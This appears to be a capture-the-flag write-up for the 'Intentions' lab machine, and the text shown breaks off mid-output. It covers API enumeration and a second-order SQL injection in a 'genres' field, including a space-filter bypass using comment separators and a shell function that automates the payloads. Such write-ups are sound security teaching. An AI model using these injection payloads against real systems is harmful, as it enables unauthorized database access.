Intentions
19 minutes to read
greg
by analyzing a Git repository and finding plaintext credentials. After that, we are allowed to run a custom binary that hashes a given length of a file and compares the result with a set of pre-computed MD5 hashes. This binary has a capability that allows to read files as root
, which can be used to extract all the contents of any file after automating the process, which allows to read an SSH private key for root
- OS: Linux
- Difficulty: Hard
- IP Address: 10.10.11.220
- Release: 01 / 07 / 2023
Port scanning
# Nmap 7.94 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.220 -p 22,80
Nmap scan report for 10.10.11.220
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 47:d2:00:66:27:5e:e6:9c:80:89:03:b5:8f:9e:60:e5 (ECDSA)
|_ 256 c8:d0:ac:8d:29:9b:87:40:5f:1b:b0:a4:1d:53:8f:f1 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Intentions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 9.83 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.220
we will see a login form:
First of all, let’s try to register an account:
We are now registered:
And we can log in in the platform:
The website is about images:
Moreover, the front-end website is built with Vue.js, since the HTML code is rendered by JavaScript at runtime:
Since the page is dynamic, fuzzing for routes with ffuf
is not useful. We will need to analyze the JavaScript files to find the different pages of the website:
There are no hidden endpoints, all of them appear in the website sidebar.
We have some interesting cookies:
They look like JWT tokens, but only token
is a JWT (we can decode it in jwt.io):
The cookie intentions_session
and XSRF_TOKEN
are just JSON documents Base64-encoded:
$ echo eyJpdiI6IlRHaEJRNlNvcmRCUTFRd1RkVmE1RHc9PSIsInZhbHVlIjoiUmdjZWVxaks3VjJDZGtJelhkMW5hQk1GVlkrS0hnaGRnNk9HL0NWVHZKV25WWEE5V3ljVlBxNGluOTRxeDRSUCs4RjJDaGdmUkVqS2dQd0FrbkhhZ2NBekd2OEF2TDQ2bFhUZzdUQ0hyOGRzWFpuWVlXTWRtWGVabDV0WHkvbnIiLCJtYWMiOiJlMjhkOWRhZTQ5ODY1NDUwZDcxOGY3Nzg4YzlkMGVlOGJlMWE0ZDliNjRjMDZhZTZmNmUxYzc1ZTk1OWI4YjRlIiwidGFnIjoiIn0= | base64 -d | jq
{
"iv": "TGhBQ6SordBQ1QwTdVa5Dw==",
"value": "RgceeqjK7V2CdkIzXd1naBMFVY+KHghdg6OG/CVTvJWnVXA9WycVPq4in94qx4RP+8F2ChgfREjKgPwAknHagcAzGv8AvL46lXTg7TCHr8dsXZnYYWMdmXeZl5tXy/nr",
"mac": "e28d9dae49865450d718f7788c9d0ee8be1a4d9b64c06ae6f6e1c75e959b8b4e",
"tag": ""
}
$ echo eyJpdiI6InVKa09NVjhCWjJYc0lrVEVKeXhNamc9PSIsInZhbHVlIjoiM2VGZzNTVldRWEQxelZrR2lWYTdsNUV0NXd0TkdwVlhOUHBFY2FLN2dJNlN4UXNQOVZlUU5QUWh1Y1FpM1BJQkx4cElrb2pSTlhJL1c1SHJYS09Ib2JUZ0F1S3hOV3kyTXlWa2k1ZGdnUWxIb1hMamU0Wm9BSUx5SFRWNDNZbWciLCJtYWMiOiJmNTVjNDFlMWNiMGI1Yzg5ZWQ0N2JhOWZjNDU3ODJmZjhjMmNhYjNjMjRiZTk1NmRhY2FmMWQ5MzI0ZmQ4OGQ3IiwidGFnIjoiIn0= | base64 -d | jq
{
"iv": "uJkOMV8BZ2XsIkTEJyxMjg==",
"value": "3eFg3SVWQXD1zVkGiVa7l5Et5wtNGpVXNPpEcaK7gI6SxQsP9VeQNPQhucQi3PIBLxpIkojRNXI/W5HrXKOHobTgAuKxNWy2MyVki5dggQlHoXLje4ZoAILyHTV43Ymg",
"mac": "f55c41e1cb0b5c89ed47ba9fc45782ff8c2cab3c24be956dacaf1d9324fd88d7",
"tag": ""
}
API enumeration
In the JWT token payload section we see that iss
holds http://10.10.11.220/api/v1/auth/login
. Therefore, we have an API endpoint to enumerate. Now we can use ffuf
:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://10.10.11.220/api/v1/auth/FUZZ -fs 162
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 77ms]
* FUZZ: login
[Status: 302, Size: 330, Words: 60, Lines: 12, Duration: 92ms]
* FUZZ: user
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 141ms]
* FUZZ: register
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 100ms]
* FUZZ: logout
[Status: 500, Size: 6615, Words: 443, Lines: 37, Duration: 399ms]
* FUZZ: refresh
Alright, nothing very useful for the moment. Notice the v1
, maybe there is a newer version of the API, let’s see:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://10.10.11.220/api/FUZZ/auth/login -fs 162
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 120ms]
* FUZZ: v2
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 403ms]
* FUZZ: v1
Great, so we have two API versions. With Burp Suite, we can find out how the login request is sent:
We can replicate it with curl
:
$ curl 10.10.11.220/api/v1/auth/login -d '{"email":"asdf@asdf.com","password":"asdffdsa"}'
{"status":"error","errors":{"email":["The email field is required."],"password":["The password field is required."]}}
$ curl 10.10.11.220/api/v1/auth/login -d '{"email":"asdf@asdf.com","password":"asdffdsa"}' -H 'Content-Type: application/json'
{"status":"success","name":"asdf"}
Notice that I didn’t use Content-Type
in the first request and the server told me what values were missing. If I do the same in v2
, password
is replaced with hash
:
$ curl 10.10.11.220/api/v2/auth/login -d '{"email":"asdf@asdf.com","password":"asdffdsa"}'
{"status":"error","errors":{"email":["The email field is required."],"hash":["The hash field is required."]}}
We can try to register a new account on v2
:
$ curl 10.10.11.220/api/v2/auth/register -d ''
{"status":"error","errors":{"name":["The name field is required."],"email":["The email field is required."],"password":["The password field is required."]}}
$ curl 10.10.11.220/api/v2/auth/register -d '{"name":"asdf","email":"fdsa@asdf.com","password":"asdffdsa"}' -H 'Content-Type: application/json'
{"status":"error","errors":{"password":["The password confirmation does not match."]}}
It looks like we need to put a password confirmation field. Again, Burp Suite will catch the request and show that the field is called password_confirmation
(although for v1
):
So, we can register in v2
, but we cannot log in:
$ curl 10.10.11.220/api/v2/auth/register -d '{"name":"asdf","email":"fdsa@asdf.com","password":"asdffdsa","password_confirmation":"asdffdsa"}' -H 'Content-Type: application/json'
{"status":"success"}
$ curl 10.10.11.220/api/v2/auth/login -d '{"email":"fdsa@asdf.com","hash":"asdffdsa"}' -H 'Content-Type: application/json'
{"error":"login_error"}
Maybe hash
is actually a hash (MD5, SHA256…), but we don’t know how it is constructed.
We can also try fuzzing the API in v2
:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://10.10.11.220/api/v2/auth/FUZZ -fs 162
[Status: 302, Size: 330, Words: 60, Lines: 12, Duration: 67ms]
* FUZZ: user
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 77ms]
* FUZZ: register
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 95ms]
* FUZZ: login
[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 90ms]
* FUZZ: logout
[Status: 500, Size: 6615, Words: 443, Lines: 37, Duration: 400ms]
* FUZZ: refresh
Again, nothing really useful.
Let’s see what information is stored about users:
$ curl 10.10.11.220/api/v1/auth/user -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | jq
{
"status": "success",
"data": {
"id": 28,
"name": "asdf",
"email": "asdf@asdf.com",
"created_at": "2023-07-03T21:44:12.000000Z",
"updated_at": "2023-07-03T21:44:12.000000Z",
"admin": 0,
"genres": "food,travel,nature"
}
}
Well, let’s return to the JavaScript files and see if there are calls to the API:
We can find:
- POST
/api/v1/gallery/user/genres
- GET
/api/v1/gallery/user/feed
- GET
/api/v1/gallery/images
- GET
/api/v1/auth/user
This is interesting:
$ curl 10.10.11.220/api/v1/gallery/user/genres -d '' -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'
{"status":"success"}
$ curl 10.10.11.220/api/v1/auth/user -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | jq
{
"status": "success",
"data": {
"id": 28,
"name": "asdf",
"email": "asdf@asdf.com",
"created_at": "2023-07-03T21:44:12.000000Z",
"updated_at": "2023-07-03T22:43:53.000000Z",
"admin": 0,
"genres": ""
}
}
I have just cleared my genres
field… I can control this field:
$ curl 10.10.11.220/api/v1/gallery/user/genres -d '{"genres":"asdf"}' -H 'Content-Type: application/json' -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'
{"status":"success"}
$ curl 10.10.11.220/api/v1/auth/user -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | jq
{
"status": "success",
"data": {
"id": 28,
"name": "asdf",
"email": "asdf@asdf.com",
"created_at": "2023-07-03T21:44:12.000000Z",
"updated_at": "2023-07-03T22:45:10.000000Z",
"admin": 0,
"genres": "asdf"
}
}
Foothold
This parameter looks interesting, let’s try to inject SQL code:
$ curl 10.10.11.220/api/v1/gallery/user/genres -d $'{"genres":"\'"}' -H 'Content-Type: application/json' -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'
{"status":"success"}
$ curl 10.10.11.220/api/v1/auth/user -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | jq
{
"status": "success",
"data": {
"id": 28,
"name": "asdf",
"email": "asdf@asdf.com",
"created_at": "2023-07-03T21:44:12.000000Z",
"updated_at": "2023-07-03T23:18:30.000000Z",
"admin": 0,
"genres": "'"
}
}
$ curl 10.10.11.220/api/v1/gallery/user/feed -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | grep Error
<title>Server Error</title>
Server Error </div>
The server has crashed when calling /api/v1/gallery/user/feed
. This means that the injection has worked (second-order SQLi).
SQL injection
Let’s use a typical SQLi payload:
$ curl 10.10.11.220/api/v1/gallery/user/genres -d $'{"genres":"\' or sleep(5);-- -"}' -H 'Content-Type: application/json' -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'
{"status":"success"}
$ curl 10.10.11.220/api/v2/auth/user -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | jq
{
"status": "success",
"data": {
"id": 28,
"name": "asdf",
"email": "asdf@asdf.com",
"created_at": "2023-07-03T21:44:12.000000Z",
"updated_at": "2023-07-03T22:51:32.000000Z",
"admin": 0,
"genres": "'orsleep(5);---"
}
}
We see that spaces are removed… We can bypass it using comments as spaces:
$ curl 10.10.11.220/api/v1/gallery/user/genres -d $'{"genres":"\')/**/or/**/(\'1\'=\'1"}' -H 'Content-Type: application/json' -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'
{"status":"success"}
$ curl 10.10.11.220/api/v2/auth/user -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | jq
{
"status": "success",
"data": {
"id": 28,
"name": "asdf",
"email": "asdf@asdf.com",
"created_at": "2023-07-03T21:44:12.000000Z",
"updated_at": "2023-07-03T22:51:32.000000Z",
"admin": 0,
"genres": "')/**/or/**/('1'='1"
}
}
$ curl 10.10.11.220/api/v1/gallery/user/feed -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'
{"status":"success","data":[{"id":1,"file":"public\/animals\/ashlee-w-wv36v9TGNBw-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/ashlee-w-wv36v9TGNBw-unsplash.jpg"},{"id":2,"file":"public\/animals\/dickens-lin-Nr7QqJIP8Do-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/dickens-lin-Nr7QqJIP8Do-unsplash.jpg"},{"id":3,"file":"public\/animals\/dickens-lin-tycqN7-MY1s-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/dickens-lin-tycqN7-MY1s-unsplash.jpg"},{"id":4,"file":"public\/animals\/jevgeni-fil-rz2Nh0U8vws-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/jevgeni-fil-rz2Nh0U8vws-unsplash.jpg"},{"id":5,"file":"public\/animals\/kristin-o-karlsen-u8aXoDEcDR0-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/kristin-o-karlsen-u8aXoDEcDR0-unsplash.jpg"},{"id":6,"file":"public\/architecture\/axp-photography-EU1sTG7DGxE-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/axp-photography-EU1sTG7DGxE-unsplash.jpg"},{"id":7,"file":"public\/architecture\/k-t-francis-kHm0iLOj2zg-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/k-t-francis-kHm0iLOj2zg-unsplash.jpg"},{"id":8,"file":"public\/architecture\/leopold-baskarad-BcIr38tPxJ8-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/leopold-baskarad-BcIr38tPxJ8-unsplash.jpg"},{"id":9,"file":"public\/architecture\/nico-baum-LudJh7dPfv4-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/nico-baum-LudJh7dPfv4-unsplash.jpg"},{"id":10,"file":"public\/food\/anto-meneghini-sJ4ix9_AjAc-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/anto-meneghini-sJ4ix9_AjAc-unsplash.jpg"},{"id":11,"file":"public\/food\/dan-9-f4enU0AY0-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/dan-9-f4enU0AY0-unsplash.jpg"},{"id":12,"file":"public\/food\/fatemeh-rz--RqVu65QrTM-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/fatemeh-rz--RqVu65QrTM-unsplash.jpg"},{"id":13,"file":"public\/food\/jonathan-borba-BMpBW2476wQ-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/jonathan-borba-BMpBW2476wQ-unsplash.jpg"},{"id":14,"file":"public\/food\/rod-long--LMw-y4gxac-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/rod-long--LMw-y4gxac-unsplash.jpg"},{"id":15,"file":"public\/nature\/edoardo-botez-rm8q_Gy2iJs-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/edoardo-botez-rm8q_Gy2iJs-unsplash.jpg"},{"id":16,"file":"public\/nature\/laura-adai-mxGR7FogG10-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/laura-adai-mxGR7FogG10-unsplash.jpg"},{"id":17,"file":"public\/nature\/marek-piwnicki-urmnC74otpA-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/marek-piwnicki-urmnC74otpA-unsplash.jpg"},{"id":18,"file":"public\/nature\/marek-piwnicki-VOv4uaMf9E4-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/marek-piwnicki-VOv4uaMf9E4-unsplash.jpg"},{"id":19,"file":"public\/nature\/rafael-garcin-GsQ0iSb88HY-unsplash.jpg","genre":"nature","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/nature\/rafael-garcin-GsQ0iSb88HY-unsplash.jpg"}]}
Great, it looks like we have found the injection format and point. Let’s wrap all the process into a shell function:
$ function sqli() {
function> payload=$(sed 's% %/**/%g' <<< $1)
function> curl 10.10.11.220/api/v1/gallery/user/genres -d "{\"genres\":\"$payload\"}" -H 'Content-Type: application/json' -H 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' &>/dev/null
function> curl 10.10.11.220/api/v1/gallery/user/feed -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'
function> }
$ sqli "') or ('1'='1"
{"status":"success","data":[{"id":1,"file":"public\/animals\/ashlee-w-wv36v9TGNBw-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/ashlee-w-wv36v9TGNBw-unsplash.jpg"},{"id":2,"file":"public\/animals\/dickens-lin-Nr7QqJIP8Do-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/dickens-lin-Nr7QqJIP8Do-unsplash.jpg"},{"id":3,"file":"public\/animals\/dickens-lin-tycqN7-MY1s-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/dickens-lin-tycqN7-MY1s-unsplash.jpg"},{"id":4,"file":"public\/animals\/jevgeni-fil-rz2Nh0U8vws-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/jevgeni-fil-rz2Nh0U8vws-unsplash.jpg"},{"id":5,"file":"public\/animals\/kristin-o-karlsen-u8aXoDEcDR0-unsplash.jpg","genre":"animals","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/animals\/kristin-o-karlsen-u8aXoDEcDR0-unsplash.jpg"},{"id":6,"file":"public\/architecture\/axp-photography-EU1sTG7DGxE-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/axp-photography-EU1sTG7DGxE-unsplash.jpg"},{"id":7,"file":"public\/architecture\/k-t-francis-kHm0iLOj2zg-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/k-t-francis-kHm0iLOj2zg-unsplash.jpg"},{"id":8,"file":"public\/architecture\/leopold-baskarad-BcIr38tPxJ8-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/leopold-baskarad-BcIr38tPxJ8-unsplash.jpg"},{"id":9,"file":"public\/architecture\/nico-baum-LudJh7dPfv4-unsplash.jpg","genre":"architecture","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/architecture\/nico-baum-LudJh7dPfv4-unsplash.jpg"},{"id":10,"file":"public\/food\/anto-meneghini-sJ4ix9_AjAc-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/anto-meneghini-sJ4ix9_AjAc-unsplash.jpg"},{"id":11,"file":"public\/food\/dan-9-f4enU0AY0-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/dan-9-f4enU0AY0-unsplash.jpg"},{"id":12,"file":"public\/food\/fatemeh-rz--RqVu65QrTM-unsplash.jpg","genre":"food","created_at":"2023-02-02T17:41:52.000000Z","updated_at":"2023-02-02T17:41:52.000000Z","url":"\/storage\/food\/fatemeh-rz--RqVu65QrTM-unsplash.jpg